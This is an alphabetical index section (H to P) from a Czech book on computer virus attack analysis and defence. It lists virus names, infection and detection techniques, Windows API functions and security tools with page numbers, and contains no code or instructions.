Hardware, 178 systému, 197 viry, 193 hašovací algoritmy, 378 Hašování, 379 HAURI, 572 heap, 330 Heather Shannon, 322 Heretis, 444 heslo, 419 heuristická analýza, 216, 531 32bitových virů, 406 první generace, 222 Heuristické analyzátory, 206 metody první generace, 215 skenování, 218 systémy, 424 heuristický engine, 405 příznak, 407 skener, 137, 216, 221 heuristika druhé generace, 217 pro generické léčení, 416 první generace, 216 založená na emulaci kódu, 396 HIDETURTLE, 89 Hierarchical File System, 68 HIEW, 543 High Memory Area, 175, 184 HIMEM.SYS, 184 hlavička Content-Type, 342 PE souborů, 110 souboru červa, 208 virového kódu, 136 hlavní obslužné přerušení, 197 tělo viru, 136 vstupní bod hostitele, 259 hledání hesel, 48 velikosti paměti, 416 volání funkce, 144

Počítačové viry – analýza útoku a obrana HLL, 162 HMA, 175, 184 Hnamed, 350 hodnota DWORD, 187 EntryPoint, 460 FileAlignment, 162 FS:[0Ch], 224 ImageBase, 161, 169 návratové adresy, 521 NtServiceID, 459 NTSTATUS, 439 oprávnění SeDebugPrivilege, 439 security_cookie, 476 hodnoty pro alokaci paměti, 501 homogenní prostředí, 62 Honeyd, 512 Honeypoty, 504 s nízkou interakcí, 511 vysoké interakce, 511 HOOK_API, 540 HOOK_FILE_SYSTEM, 540 HOOK_INTERRUPT, 540 HookDispatch, 457 hospodaření s pamětí, 72 hostitel, 39 hostitelský program, 442 soubor, 416 HP iPAQ H2200, 109 hra Doomed, 112 Life, 31 Mosquitos, 46 života, 29 hromada falešného kódu, 137 hromadně se rozesílající červi, 466 Hrozby skriptů HyperTalk, 95 v ActionScriptu, 95 hrubá síla pro dekódování těla viru, 224 HTML viry, 100

HTTP provoz, 511 Hybridní řešení, 510 viry, 197 Hyper-rychlý přístup k disku, 381 HyperCard, 95 zásobníku, 95 HyperTalk, 95 Hypervisor, 278

I I/O poměr, 422 porty, 203 IA32, 528 IA64, 71 Ian Whalley, 529 IAT, 159, 187, 452, 496 IBM, 251, 526 IBMBIO.COM, 121 IBMDOS.COM, 121 IBM Antivirus, 378 PC, 63, 123 Research, 63 VM/CMS, 84 ICD skript, 542 ICMP, 506, 550 DE, 261 Ido Dubrawsky, 320 IDT, 167, 210 ID procesu, 438 Igor Muttik, 82 Ikarus, 572 ILOVEYOU, 87 ImageBase, 161, 162 Implant19, 240 implementace algoritmického skenování, 385 efektivních skenerů, 431 firewallů, 507 IDS, 519 metody XOR, 232

583

rozpoznávacího modulu, 223 SMTP, 48 virů, 430 zavaděče, 169 importní tabulka adres aplikace, 452 importování ordinární hodnotou, 220 Import Address Table, 159 Indonéský virus Denzuko, 124 INFECT_DIRECTORY, 540 INFECT_FILE, 540 Infect_File(), 98 INFECT_ON_ACCESS, 540 infekce, 53 červem Blaster, 274 chráněného systému, 488 diskové cache, 194 EXE soubor, 135 formátu souborů NE, 69 hlavičky, 162 ISO obrazů, 69 KERNEL32.DLL, 164 MBR nahrazením zavaděče, 121 nového stroje, 361 paměti, 173 HMA, 178 PE souborů, 252 přímé akce, 252 první sekce, 217 pakováním, 217 souborů DLL, 71 typu Amoeba, 134 uživatelských maker, 83 volné oblasti v první sekci, 217 VxD, 167 Win32 PE souborů, 132 infekční rutina, 197, 252 thread, 448 viru, 445 infektor Leapfrog, 138 Infektory KERNEL32.DLL, 164

584

Rejstřík

objektových souborů, 416 infikovaná knihovna KERNEL32.DLL, 164 kopie, 104 oběti, 413 infikované soubory, 190, 402 infikovaný DBR, 188 domácí systém, 508 PE soubor, 190 proces, 452 Infis, 74, 197 Informace na pásce, 27 o uživateli, 52 protokolech, 507 umístění stránky, 481 INFScript, 58 Inicializace, 252, 360 datové struktury, 520 viru, 241 INIT_EXPLOIT, 540 injektáže kódu za běhu, 470 vložených maker, 443 Injektory, 49 injektování kódu, 351 injektovaný kód, 448, 483 inkrementace, 237 Instalační rutina, 197 Instrukce CALL, 144, 206, 218 CPUID, 223 hry Core War, 35 INT, 177 JMP, 164 ESP, 560 koprocesoru, 222 MMX, 65, 222 MOV CS, 65 NOP, 64, 224 POP ESI, 221 porovnání, 104 RDTSC, 255

RET, 212 RETF, 179 SALC, 224 skoku, 128, 130, 218, 248 smetí, 238, 259 SPL, 36 sub eax, 249 sysenter, 454 typu NOP, 382 volání, 495 xor eax, 249 Instrukční sloty, 459 ukazatel, 562 Integrace kódu, 253 Integrační algoritmus, 253 integrita aplikací, 115 každé komponenty, 422 programů, 38 souborů, 115 integrování kódu, 147 integrovaný emulátor, 393 virový kód, 148 Intel, 151 386, 210 XScale, 151 Internetový červ Morris, 48, 348 interní funkce DOSu, 203 struktura DOSu, 184 interpret příkazové řádky, 483 příkazů, 39 interpret REXX, 84 tclsh, 92 Interrupt Descriptor Table, 167 List, 178 Spy, 553 INT 0Dh, 193 13h, 121

21h, 403 Invader, 43, 185 IO.SYS, 114 IP adresa systému, 266 IRP, 458 Ismo Bergroth, 463 ISO 9660, 69 obrazy, 69 Itanium, 458 iterace, 217 ITLB, 481 IVT, 175 Izolace procesů, 432

J jádro programu, 34 Java, 57 jazyk Basic, 89 HyperTalk, 95 Logo, 89 MSIL, 101 Redcode, 33 REXX, 84 jedna virová sekce, 216 jednoduchá operace XOR, 205 Jednoduché metamorfní viry, 246 jednorázová změna bází v obrazu, 493 JellyScript, 91 JempiScodes, 518 Jerusalem, 185 JIT, 386 jména importovaných DLL knihoven, 158 funkcí, 158 jmenný prostor System.Reflection.Emit, 259 jméno makra, 99 pakovače, 208 sekce, 156 souboru, 266 souvisejícího viru, 532

Počítačové viry – analýza útoku a obrana viru, 183 JMP, 128 Joel Scambray, 321 John The Ripper, 86 John Von Neumann, 26, 427 JPEGy kompromitované Perrunem, 115 JScriptové hrozby v souborech Adobe PDF, 94 viry, 90 Junkie, 114 Just-in-Time kompilaci, 101

K kanonizace, 340 kapesní zařízení, 400 Kaspersky Labs, 572 Katrin Tocheva, 321 KAV, 383 KaZaA, 113 KeAttachProccess(), 455 KeDetachProcess(), 455 Ken Thomson, 105 van Wyk, 132 KERNEL, 141 KERNEL32.DLL, 71, 81, 156 KeServiceDescriptorTable, 453 KEYVIEW.EXE, 141 Kinematic Self-Replicating Machines, 28 KiUserExceptionDispatcher(), 490, 492 Klasické parazitické viry, 131 přetečení zásobníku, 327 Klasický typ MBR, 121 způsob exploitace, 327 klasifikace makrovirů, 532 metod infekce, 119, 217

paměti, 173 Klávesa Enter, 94 klíč, 197 registru, 430 klíče registru, 97 klonování, 466 červa W32/CodeRed, 466 klon TRS-80, 89 Kniha Games with Computers, 32 knihovna crypto, 109 GLIBC, 480 IMAGEHLP.DLL, 164 WSOCK32.DLL, 72 Kódování URL, 340 UTF-8, 341 kódová sekce aplikace, 217 infikované aplikace, 252 kódové komponenty Windows NT, 436 signatury virů, 450 kód BIOSu, 202 červa Witty, 553 exploitu, 516 formátu disku, 106 MSI, 110 počítačových virů, 44 pro hledání souborů, 416 shellu, 470 VBA, 78 vektoru, 417 viru, 192 v blízkosti CA, 488 zásobníku, 471 kombinace podezřelých příznaků, 410 kompilace makro viru, 78 kompilátor, 244 kompletní cesta k souboru, 89

585

metamorfní viry, 250 komponenta pro blokování červů, 469 pro ověření integrity dat, 226 SoftICE, 557 komponenty modulů jádra, 51 kompresní techniky NTFS, 68 komprimační knihovny, 102 Komprimované PE soubory, 216 Komprimovaný matoucí kód, 207 Komprimující viry, 134 komunikace, 274 mezi uživateli, 88 komunikační protokol, 318 pro červy, 318 Komunita hackerů, 470 koncept červa, 466 konec hostitelského souboru, 415 kódové sekce, 217 poslední sekce, 156 konference, 88 BlackHat, 484 Virus Bulletin 2000, 251 konfigurace Solarisu, 479 Konfigurační soubor, 505 Konkrétní jméno souboru, 266 konstantní data, 404, 538 na zásobníku, 404 oblast kódu viru, 247 řetězce, 535 virové tělo, 397 zakódování přes XOR, 389 konstanty, 253 ve viru, 204 Kontext libovolného vlákna, 455 procesu, 455 systémového procesu, 455 systémový, 455 určitého vlákna, 455 Kontrola bezpečnosti bufferů, 475

586

Rejstřík

integrity, 420 zásobníku, 479 obsahu TIB, 214 video paměti, 213 offsetu položky, 75 počtu nulových bajtů, 387 příznaků souboru, 387 velikosti RAM, 177 změn příznaků, 387 Kontrolní součet, 156, 164 MD5, 551 součty, 133, 222 CRC, 227 kontrolor integrity, 191 dat, 420 kontrolory integrity, 431 dat, 420, 421 Kontrolování stavu zásobníku, 209 virových infekcí, 419 změn, 402 konverze maker, 79, 111 makra, 78 konzistence KERNEL32.DLL, 164 kopie MBR, 122 mrtvého viru, 192 viru, 39 kopírování při zápisu, 494 souborů PIF, 97 koprocesor, 65 korekce chyb, 214 korektní adresa funkce, 453 kód viru, 64 nabootování systému, 122 přepočítání, 219 sada obrazů systémů, 530 kořenový adresář, 75, 114 Kostra decryptoru, 237

Králíci, 46 Krátká signatura NIDS, 517 kreslení ikon, 267 pomocí želvy, 89 kritéria pro zablokování, 489 křížové reference, 532 krokování, 209 kryptografické kontrolní součty, 133, 383 krypto viry, 273 Kurt Wismer, 572 Kvalitní NIDS, 509

L laboratoř, 526 LaBrea, 513 ladící informace spustitelného souboru, 158 přerušení, 167 rozhraní, 202 Lance Spitzner, 511 LE, 73 Leapfrog, 138 legitimní požadavky, 277 spouštění API, 495 Lehigh, 132 Leprechaun Software, 572 Lexotan, 403 lfanew, 153 libSchellCode, 518 limit velikosti souborů, 107 linker, 169 od Borlandu, 157 linkování do spustitelného tvaru, 75 Linux, 59 Linux/ADM, 350 Linux/Slapper, 100, 483 listdir(), 92 listen(), 483 LoadLibrary(), 483, 552 Logické bomby, 46

logický sektor, 121 logovací soubor systému, 485 logování, 510 lokální proměnné, 478 úložiště toku, 214 úložiště toků, 146 Longhorn, 151 LookupPrivilegeValue(), 440 Lorez, 71 Lotus Word Pro, 98 LSASS, 318 LWP/Spenty, 98 LX viry na OS/2, 70 LZEXE, 134, 420

M M_GETPROC_ADDRESS, 540 MAC, 419 Macintosh, 80, 92 MacOS, 57 Macromedia, 58 Maďarský DOSový virus, 268 stealth BOOT/MBR virus, 124 maďarský virus Polimer.512.A, 129 Qpa, 416 magazíny pro tvůrce virů, 73 magazín 29A, 254 Total Zombification, 251 VLAD, 203 Magické slovo, 155 MAIN, 146, 540 makra Excelu, 75 makroviry, 55, 260 malé soubory, 217 malý slovník hesel, 325 Mandatory Access Control, 419 manipulace příznaků stránek, 480 s elementy, 354 manuální dekódování, 543

Počítačové viry – analýza útoku a obrana mapa konstantních bajtů, 383 MapBasic, 59 eXecutable, 93 MapInfo Professional, 93 viry, 93 Mark Ludwig, 272 Rowe, 320 Roesh, 509 Khafir, 240 MASS_MAIL, 541 Master Boot Record, 120, 271 matematik, 26 Matení kódu, 205 Materiální metamorfóza, 245 matoucí odskok, 137 souborové formáty, 214 techniky virového kódu, 230 Matt Pietrek, 463 mazání kontrolních souborů, 226 MBR, 56, 114, 120, 121 MBX, 93 MCB, 184, 431 mechanismus "call gate", 197 ochrany, 481 stránkování, 437 MEM_EXECUTE, 444 MEM_TOP_DOWN, 441, 442 MEM_WRITE, 444 memcpy(), 480 Memorial, 114 Memory Control Block, 431 Mental Driller, 44, 64 MenuetOS, 57 menu Zobrazit, 198 MessageLabs, 573 META_ENGINE, 541 metamorfní červi, 498 engine, 247, 564 napříč systémy, 254 MSIL viry, 258

techniky, 215 tělo viru, 255 virus, 148, 245 metamorfní viry, 91, 235 Metaphase, 90 MetaPHOR, 254 metoda "Billyho Belcebu", 214 Activate, 112 CreateObject, 90 generické dezinfekce, 414 infekce hlavičky, 165 s polymorfismem, 134 showHelp, 367 šíření viru, 102 vývoje kódu, 232 asynchronního spojení TCP, 467 metody infekce paměti, 173 kontroly integrity, 422 obrněných virů, 204 založené na VMWARE, 527 Michelangelo, 270 Microsoft ActiveSync, 110 NGSCB, 462 Press, 439 Seccurity Bulletins, 115, 571 SQL Server, 511 2000, 358 Visio 2000 Enterprise Edition, 358 Visual Studio .NET 2003, 475 WebTV, 91 MicroWorld Software, 573 Mikko Hypponen, 427, 430 mini-FAT19, 75 MIPS, 110 MIRA, 532 mIRC, 88 mIRCScrip, 59 místní složky P2P, 113 místo v síti, 49

587

MIT, 482 MKS, 573 mnohonásobná infekce, 131 množství falešných poplachů, 412 místních IP adres, 513 systémových prostředků, 52 testovacích souborů, 546 model Bell-LaPadula, 419 modernější souborové systémy, 68 moderní algoritmické skenování, 386 antivirová řešení, 182 antivirový software, 216 disassemblery, 206 počítače, 27 verze AutoCADu, 96 Modifikace jádra OS, 365 položky lfanew, 166 registrů, 81 souborů, 221 systému, 344 modifikované varianty červa, 101 verze běžných nástrojů, 51 modifikovaný soubor LSP, 96 modulární vývoj, 239 Modul analýzy signatur, 509 KERNEL, 141 mod_ssl, 354 varování a logování, 510 Monitorovací programy podezřelého chování, 194 Monitorování procesů, 544 a threadů, 549 síťových portů, 544, 549 změn registru, 544 v souborech, 544 Monitory podezřelého chování, 226, 422 morfování

588

Rejstřík

kódu, 250 zdrojového kódu assembleru, 262 Morris, 48, 470 Mosquitos, 46 mount points, 120 MoveFile(), 409 Možná infekce hlavičky, 408 možnosti průniku, 49 možnost infekce, 64 payloadu, 52 MPR.DLL, 347 mrtvý virový kód, 124 MSDE, 358 MSDN, 528 MSIL/Gastropod, 102, 245 MSIL, 57, 101, 245, 527 infekce, 259 msystem(), 334 MtE, 238 multipartitní strategie, 83 viry, 114 Multiplexní přerušení, 178 multiple streams, 68 multitasking, 196 Murkry, Sandman, 44 mutace, 32 mutační engine MtE, 417 enginy, 262 mutovací engine, 238 mutované decryptory, 235 Mydoom, 317 Myname, 70 myšlenka blokování červů, 469 statické heuristiky, 215 trénován, 411 MZ, 69

N Načítání sekce, 409 načtený debugger, 214

náhodná sekvence znaků, 92 náhodné bloky smetí, 223 spouštění virového kódu, 223 Náhodně destruktivní payload, 267 přepisující viry, 128 Náhodnost adresovacího prostoru procesu, 493 náhodný dekódovací algoritmus, 217 počet registrů, 253 Nahrazení MBR kódu, 122 tabulky importů, 145 nakažliví červi, 470 nalezení adresáře, 96 napadené soubory, 190 napadení prostřednictvím heapu, 516 rámců ovladačů výjimek, 493 narušení internetových služeb, 499 ochrany, 161 nárůst velikosti hostitele, 188 NASA, 28 nastartování CLR prostředí, 137 nastavení jména výstupu, 107 obsahu registrů CX, 376 systémového jazyka, 266 nastavený firewall, 508 nástroje na kopírování disket, 123 pro porovnání souborů, 534 správu, 198 typu PEID, 537 nástroj Interrupt Spy, 553 pro výpis souborů, 534 tcpdump, 520 nástup Win32, 529 Native API, 529

nativní API, 72, 198 kód, 101 skupina API, 438 viry, 72 návěští Decryptor_Start, 241 návnady, 225 návrat k LIBC, 471 Návratová adresa, 179, 339 funkce, 473 hodnota API, 488 NCA, 462 NDA, 83 neaktivní kopie červa, 430 nebezpečná makra, 421 Nedestruktivní payload, 267 nedokumentované API, 203 funkce DOSu, 431 instrukce procesoru, 224 nedůvěryhodné programy, 424 nefunkční viry, 39 negativní detekce, 405 neinicializované globální proměnné, 157 nejběžněji používané sekce, 156 nejběžnější jména maker, 79 nejkratší viry, 127 Nejvyspělejší antivirový software, 425 nejznámější stealth techniky, 186 trojský kůň, 47 Nekonzistence knihovny KERNEL32.DLL, 409 nekonzistence v souboru, 219 nekorektně infikovaný soubor, 219 Nekorektní položka SizeOfImage, 407 nelineární dekódování, 233 Neolite, 216 Nepoužívání API řetězců, 221 nepovinné záhlaví, 153 Nerezidentní viry, 202

Počítačové viry – analýza útoku a obrana neškodný virus, 266 Nesprávná velikost kódu v hlavičce, 410 nesprávné použití příkazu printf, 336 Nesprávně provedené přetečení, 494 Nestavové firewally, 507 NET$DOS.SYS, 126 NetBIOSy, 277 NetWare, 344 Network Associates, 573 Neumann János, 26 neuronové sítě, 411 neúspěšné pokusy červa, 497 nevirové programy, 231 Nexiv_Der, 140 Next Generation Virus Creation Kit, 262 Nexus, 462 nezavirovaný sektor, 193 Nezbytné změny v objektech, 422 neznámý vstupní bod, 253 nezranitelné instalace, 430 NE soubory, 70 struktura, 141 ngrep, 521 NGSCB, 462 NGVCK, 262 Ničení hardware, 273 Nicholas Weaver, 321 Nick FitzGerald, 320 NIDS, 504, 509 Nimda, 100, 278 nízkoúrovňové události, 422 nižší paměťový segment, 181 Nomenklatura, 185 NORMAL.DOT, 81 Normální rozložení paměti, 334 Win32 aplikace, 166 Norman Data Defense Systems, 573 Norton

Commander, 39 DiskEdit, 271 Disk Editor, 120 nová celková velikost programu, 163 stránka fyzické paměti, 437 Novell NetWare, 125, 278 nové binární soubory, 258 techniky infekce PE souborů, 215 způsoby exploitace, 498 Nový vstupní virový bod, 133 NTBUGTRAQ, 571 NtCreateSection(), 73 NTDLL.DLL, 72 NTFS, 68, 452 NtMapViewOfSection(), 72 NtOpenThread(), 454 NTOSKRNL.EXE, 453 NtProtectVirtualMemory(), 454 NtQSI, 438 NtResumeThread(), 454 NtServiceID, 453, 459 NtSetInformationFile(), 73 NTSTATUS, 439 NtSuspendThread(), 454 NtTerminateProcess(), 454 NtUnmapViewOfSection(), 73 NULL, 449 Nulová návratová adresa, 514 Numer_of_theBeast, 192 NX, 500

O obecná struktura PE souboru, 153 Obecné použití přetečení bufferu, 363 procesy, 439 obecný problém tunelování, 202 obejití cache, 367 Object Exchange, 320

589

objekt ovladače filtrovacího ovladače, 457 oblasti binárních souborů, 132 oblast konstantních dat červa, 549 vstupního bodu aplikace, 250 vyšší paměti, 184 Obnovení dat, 47 obrana před laděním, 208 proti disassemblování, 204 emulaci, 204, 222 heuristice, 221 heuristické analýze, 204 ladění, 210, 223, 260 a emulaci, 177 záchytným souborům, 204 obranné strategie virů, 201 obraz bootovací diskety, 125 červa na disku, 461 Obrněné viry, 203 obsah boot sektorů, 42 FLASH BIOSu, 499 hostitelského programu, 134 infikovaného souboru, 189 nahraného programu, 67 OBJ souborů, 157 paměťi škodlivého procesu, 536 pevného disku, 499 původního souboru, 545 sítí Windows, 347 souboru, 192 od těla viru, 225 spustitelného souboru v paměti, 493 stránky, 437 video paměti, 213 zásobníku, 404 zaváděcí rutiny, 133 obskurní

590

Rejstřík

vstupní bod aplikace, 214 obsluha disku BIOSu, 175 dispečeru VxDCall, 187 klávesnice, 213 přerušení INT 13h, 176 viru Stoned, 180 obtížnost stažení updatů, 274 obyčejné spustitelné soubory, 155 Ochrana firewally, 507 kódu operačního systému, 431 paměti, 432 sand-boxing systému, 425 Ochranné technologie, 368 ochrany proti kopírování, 123, 203 Očkování, 418 odchozí SMTP provoz, 469 Odchytávaná přerušení, 183 Oddělení dat od programu, 26 odlišné registry, 246 odmítnutí služby, 274, 332 Odposlouchávání subfunkcí, 181 odpovídající ochrana serveru, 484 odstranění infekce červem CodeRed, 514 odstranění každé instrukce skoku, 401 maker, 81 viru z MBR, 273 odstraňování 32bitových virů, 158 dočasných klíčů, 478 infekce, 26 Office97Macro, 58 Office 2000, 82 offset, 42 adresáře, 433 délky viru, 131 obsluhy, 210 příslušné obsluhy, 176

proměnné, 539 stránky, 433 tabulky stránek, 433 vazby API, 551 offsety, 210, 253 Okena, 483 oklamání antivirových skenerů, 103 Okolí každého symbolu, 29 okruh oprávnění 0, 166 OLE2 formát, 167 soubor, 75 Oligomorfní viry, 235 Ollie Whitehouse, 320 OllyDBG, 208, 537, 555 Omezení infekce hlavičky, 220 na horní hranici, 107 přístupu k objektům, 419 triku CALL-POP, 220 uživatelského režimu, 199 Omezit funkčnost, 419 On-access skener, 448 skenery, 430 On-demand kontrolory integrity, 420 skenery, 190 virů, 431 skenování, 374 One_Half, 135, 136, 415 opendir(), 92 OpenFile(), 221 OpenProcess(), 438, 439 OpenProcessToken(), 440 OpenSSL, 496, 516 openssl, 472 openStack, 95 OpenTextFile(), 90 OpenThread(), 449 operace mapování do paměti, 190 operační kódy instrukcí, 249 kód

0xCC, 209 breakpointu, 212 paměť, 430 systém, 196, 266 RedHat, 529 operand instrukce SUB, 388 Opravdový skener paměti, 432 Opravení velikosti kódu v hlavičce, 221 oprávnění, 440 SeDebugPrivilege, 439 webového prohlížeče, 509 optimalizace kompilátoru, 478 rychlosti, 380 umístění bufferů, 474 optimalizovaný skener, 411 ordinární hodnota, 220 hodnoty, 161 organizace CARO, 53 originální MBR, 121 OS/2, 70 ošetřování výjimek, 478 osobní firewall, 226, 348, 505 ostatní lokální proměnné, 478 OSX, 57 otázky bezpečnosti, 471 otevřené dokumenty programu Word, 112 otevření EML souboru, 100 existující souboru, 416 ověřování integrity dat, 227 jmen sekcí, 216 práv aplikací, 343 Ovladače souborových systémů, 456 v režimu jádra, 436, 496 zařízení, 73 Ovládací prvky ActiveX, 343 ovladač ANSI.SYS, 94 disketové mechaniky, 125 filtru souborového

Počítačové viry – analýza útoku a obrana systému, 374 Inf, 198 INF.SYS, 197 přerušení disku, 49 režimu jádra, 469 souborového systému, 456 událostí openStack, 95 výjimky na heapu, 492 zařízení, 106 ovládání výjimek založené na vektorech, 353 oživení mrtvého virového kódu, 124

P p-kód, 82 pád síťových spojení, 498 PAE, 433 PAGE_READONLY, 452 PAGE_READWRITE, 452 pagefile.sys, 437 page fault, 437 pakety IRP, 458 PalmOS, 57 PalmPilot, 63 paměť CMOS, 121 jádra, 458 z nestránkované oblasti, 197 paměťová adresa, 128 mezera DOSového kernelu, 194 paměťové breakpointy, 213 oblasti, 409 ovladačů, 460 stealth techniky, 461 Paměťově rezidentní kód, 416 kopie, 185 parazitický virus, 197 viry, 174, 195, 202 Paměťový prostor, 196

skener, 455 Panda Software, 573 parametr BytesWritten, 438 PEPROCESS, 455 příkazové řádky, 336 parazitické MSIL infekce, 259 viry, 131 parsování, 74 hlaviček MIME, 342 partitions, 114 partition table, 120 pár prázdných sektorů, 122 Pascal, 104, 130 Pasteur, 43 past pro emulátor, 223 PaX15, 480 PAYLOAD, 541 payload, 52, 124, 257, 361 červa Happy99, 71 rutina, 256 viru, 234 Denzuko, 124 Tentacle_II, 142 W95/Sma, 190 PDA, 151 PDP-1, 33 PE, 150, 496 PE+, 71 PE.OptionalHeader.Subsystem, 72 PEDUMP, 156 PeElf, 64 PENDOWN, 89 Pentium, 64 PENUP, 89 PEPROCESS, 455 perfektní detekce, 243 Perlovské viry, 91 permanentně rezidentní viry, 195 Permutace, 252 permutační engine viru, 259 echniky, 247

591

permutovaná sekvence kódu, 250 permutovaný decryptor, 218 PERVADE, 37 Peter Ferrie, 463 Szor, 320, 463 Petite, 216 pětiznakový řetězec, 220 pevná ID čísla, 199 pevné adresy implementace KERNEL32.DLL, 161 služeb, 175 klíče, 224 ukazatele na systémové oblasti, 409 pevně naprogramované adresy, 493 PE builder, 452 formát, 151 hlavička, 153 struktura, 158 Phager, 103 phishing, 50, 276 útoky, 320 PHPScript, 59 PHP viry, 92 PIF červi, 103 ping, 520 Pirátské verze programu, 46 PIRCH, 88 PirchScript, 59 PKLITE, 134, 420 PKUNZIP, 88 PKZIP, 88 PLABEL_DESCRIPTOR, 459 platforma XT, 217 plug-iny, 202 Pobresito, 96 Počáteční adresa hlavního threadu, 449 threadu, 449

592

Rejstřík

adresy dvou threadů, 449 vzor, 29 počet čtení z disku, 380 EPO virů, 422 nutných iterací, 396 sekcí, 155 v EXE, 155 sektorů ke čtení, 179 selhání stránek, 446 stavů, 29 virů, 412 vstupních parametrů, 218 počítač HT 1080Z, 89 počítače, 26 počítačové viry, 202 Počítačoví červi, 45 Počítání ve vektorech přerušení, 209 Pocket Excel, 110 PC, 63, 320, 400 Word, 110 podadresáře, 75 Podezřelé importy z KERNEL32.DLL, 408 jméno kódové sekce, 408 přesměrování kódu, 408 příznaky sekce, 407 relokace, 409 struktury, 216 podezřelý objekt k analýze, 565 přístup k souborům, 416 Podivná alokace paměti, 417 podpora indexovací služby, 363 NX, 500 unicode, 170 podprogram, 187 podrobná detekce, 518 podvržení obsahu souboru, 192 pojem Agent Nexus, 462 Pokročilé metamorfní viry, 251 pokročilý EPO virus, 147

pokusná hesla, 325 pokusy červa o spojení, 497 o spojení, 497 pole AttachedDevice, 458 session_id_length, 355 Polimer.512.A, 129 Položka AddressOfEntryPoint, 162 Characteristics, 158, 163 ImageBase, 169 lfanew, 153 stránky tabulky, 481 položky lfanew, 153 lokálního úložiště toků, 146 registrů, 97 tabulky GOT, 354 POLY_ENGINE, 541 polymery tvarové paměti, 245 polymorfismus, 207, 551 polymorfní binární viry, 83 červi, 498 decryptor, 241, 253, 255 viru, 140 decryptory, 225 decryptovací smyčka, 391 dekódovací rutina, 239, 391 engine, 83, 207 SMEG, 390 viru, 247 EPO viry, 400 kód, 461 makro, 242 útok, 237 virus One_Half, 135 W95/SK, 94 viry, 218, 237 pro DOS, 240 s EPO, 218 pomalé infektory, 423 poměr falešných poplachů, 411 popis

bootovacího procesu, 43 škodlivých aplikací, 46 Poplašné zprávy, 52 popularita spamu, 50 pořadí běhu programů, 327 instrukcí, 236 rámce výjimek, 490 Porovnávací algoritmus, 469 porovnávání vzorků chování, 424 port, 506 Portable Executable, 150 Portcullis Computer Security, 573 Portování 32bitových paměťových skenerů, 459 port 7597, 276 poškození hardware, 499 maker, 77 systému, 127 vykonávání kódu, 209 v těle makra, 78 poslední cluster, 192 sekce programu, 215 posloupnost bajtů, 522 instrukcí, 493 volání free(), 357 PostScript, 59 Postup dezinfekce zavedených DLL, 452 posun klíče, 236 potenciálně škodlivá makra, 84 potřebný software, 528 Použití "neznámých" vstupních bodů, 146 API CreateFile(), 214 TerminateThread(), 449 architektury CPU Intel, 326 dlouhých smyček, 225 dynamického

Počítačové viry – analýza útoku a obrana optimalizátoru, 482 emulátoru kódu, 203 pro trasování, 403 formátovacích řetězců, 340 funkce chr(), 80 gdb, 555 instrukcí koprocesoru, 222 MMX, 222 INT 3 pro generování výjimky, 211 kontrolního součtu, 383 Microsoft Crypto API, 234 nástroje NetCat, 511 nedokumentovaných funkcí, 203 vlastností DOSu, 417 obsluhy výjimek, 213 příkazu printf, 336 šifrování, 253 signatur, 538 skutečných systémů, 526 sociálního inženýrství, 276 strukturované obsluhy výjimek, 223 základních makro příkazů, 79 zakódovaných dat, 204 Použitý způsob šifrování, 272 používání bezpečnostních aktualizací, 471 kontrolních součtů, 207 RPC exploitu, 487 StackGuardu, 474 Povinné řízení přístupu, 419 PowerPoint, 75 PowerPoint97Macro, 58 Požadavek GET, 317, 492 ICMP, 520 ping, 521 protokolu ARP, 512 TFTP, 516 na webový server, 277

pozastavení všech threadů, 452 pozitivní detekce, 405 PPE, 222 práce s disketou, 174 pamětí, 72 registry, 113 pracovní prostor Mistfallu, 252 segment, 239 stanice, 505 Práh sigmoidního výstupu, 412 práva administrátora, 226 pravidelné používání vektorů přerušení, 209 pravidelné zálohy, 499 právo k zápisu, 423 pravý vstupní bod, 180 prázdná oblast kódové sekce, 145 první sekce, 217 předání řízení, 225, 493 předkompilované verze kódu, 82 Prefix platformy, 54 Přejmenování existujících sekcí, 219 překlad nativního kódu, 111 virtuálních adresy, 433 přenositelný skriptovací jazyk, 92 souborový formát, 150 prependery, 129 přepisovací metoda, 415 přepisující JScriptové viry, 90 viry, 126 přepnutí kontextu, 450 přepočítání, 219 kontrolního součtu, 219 velikosti kódových sekcí, 221 přepočítaný kontrolní součet, 207 Preprocesor, 509 Přepsané bloky, 135

593

přepsané instrukce, 143 přepsání paměti, 326 tabulky descriptorů přerušení, 197 uložené návratové adresy, 330 přerušení časovače, 213 DOS IDLE, 178 INT 20h, 195 používaná viry, 177 přerušení v polymorfních decryptorech, 225 Přesná identifikace, 383 identifikace, 133 přestavění spustitelného souboru, 253 přesun hodnoty kanára, 474 přetečení bufferu, 348, 351, 466 pomocí zásobníku, 484 haldy, 330, 332 heapu, 480, 501 o jednotku, 328 první generace, 327 v režimu jádra, 481 zásobníku, 318, 326, 323 v Microsoft IIS, 324 za pomoci hald, 326 převádění sekvencí push/pop, 252 Prevence vykonávání dat, 501 Převzetí řízení, 359 Přežití, 31 Přezkoumání kódu, 471 Příčiny zranitelností, 328 přídavný polymorfní decryptor, 251 příkazová řádka BASICu, 67 příkazový interpret ve Windows, 484 Windows NT, 188

594

Rejstřík

jazyk REXX, 84 příkazy pro DEBUG, 107 Příkaz CmdDelete, 99 copy, 97 DEBUG, 42, 325 DeviceIoControl(), 68 DIR, 191, 192 dsize, 522 dump, 42 load, 96 NetCatu, 512 Open, 100 PRINT, 67 printf, 339 RUN, 67 sendpage, 91 SET PROCESS/NAME, 86 strings, 221 switch(), 394 Příklady dekódovacích smyček, 233 detekce, 401 generické dezinfekce, 417 polymorfních PHP virů, 92 volání, 185 Příklad detekce viru Evol, 404 honeypotu, 511 přetečení heapu, 353 Příležitostně destruktivní payload, 269 Příloha e-mailu, 87 přímé příkazy portů, 65 Přímý přístup k disku, 417 princip naslouchání, 512 PRINT, 67 printf, 335, 337 případ deaktivace viru, 451 přípojné body, 120 Připojující viry, 128 připomínka virového útoku, 272 Příprava exploitu, 359 přístupové právo

seznamy routerů, 504 přístupy na první sektor disket, 188 přístup červa Dumaru, 548 k CMOS, 417 disku, 381 přes I/O porty, 203 portům, 197 na disk na nižší úrovni, 203 přítomnost maker, 84 viru, 266 privátní stránky, 441 paměti, 441 privilegovaný režim, 423 Příznaky, 155 sekce, 158 příznak PAGE_READONLY, 452 přenosu, 185 přístupu, 446 SEC_IMAGE, 484 spojený s kódem, 409 Prizzy Polymorphic Engine, 222 problémy se zranitelností, 471 problém konverze maker, 79 počítačových virů, 115 systémů pro detekci, 509 tunelování, 202 procedura skrytého okna, 443 procento podobnosti, 532 procesor IA32, 458 SH3, 110 typu ARM, 319 procesory, 433 PROCESS_ALL_ACCESS, 440 PROCESS_TERMINATE, 448 PROCESS_VM_READ, 438 proces systémových služeb, 470 analýzy hrozeb, 499 bootování, 73, 505

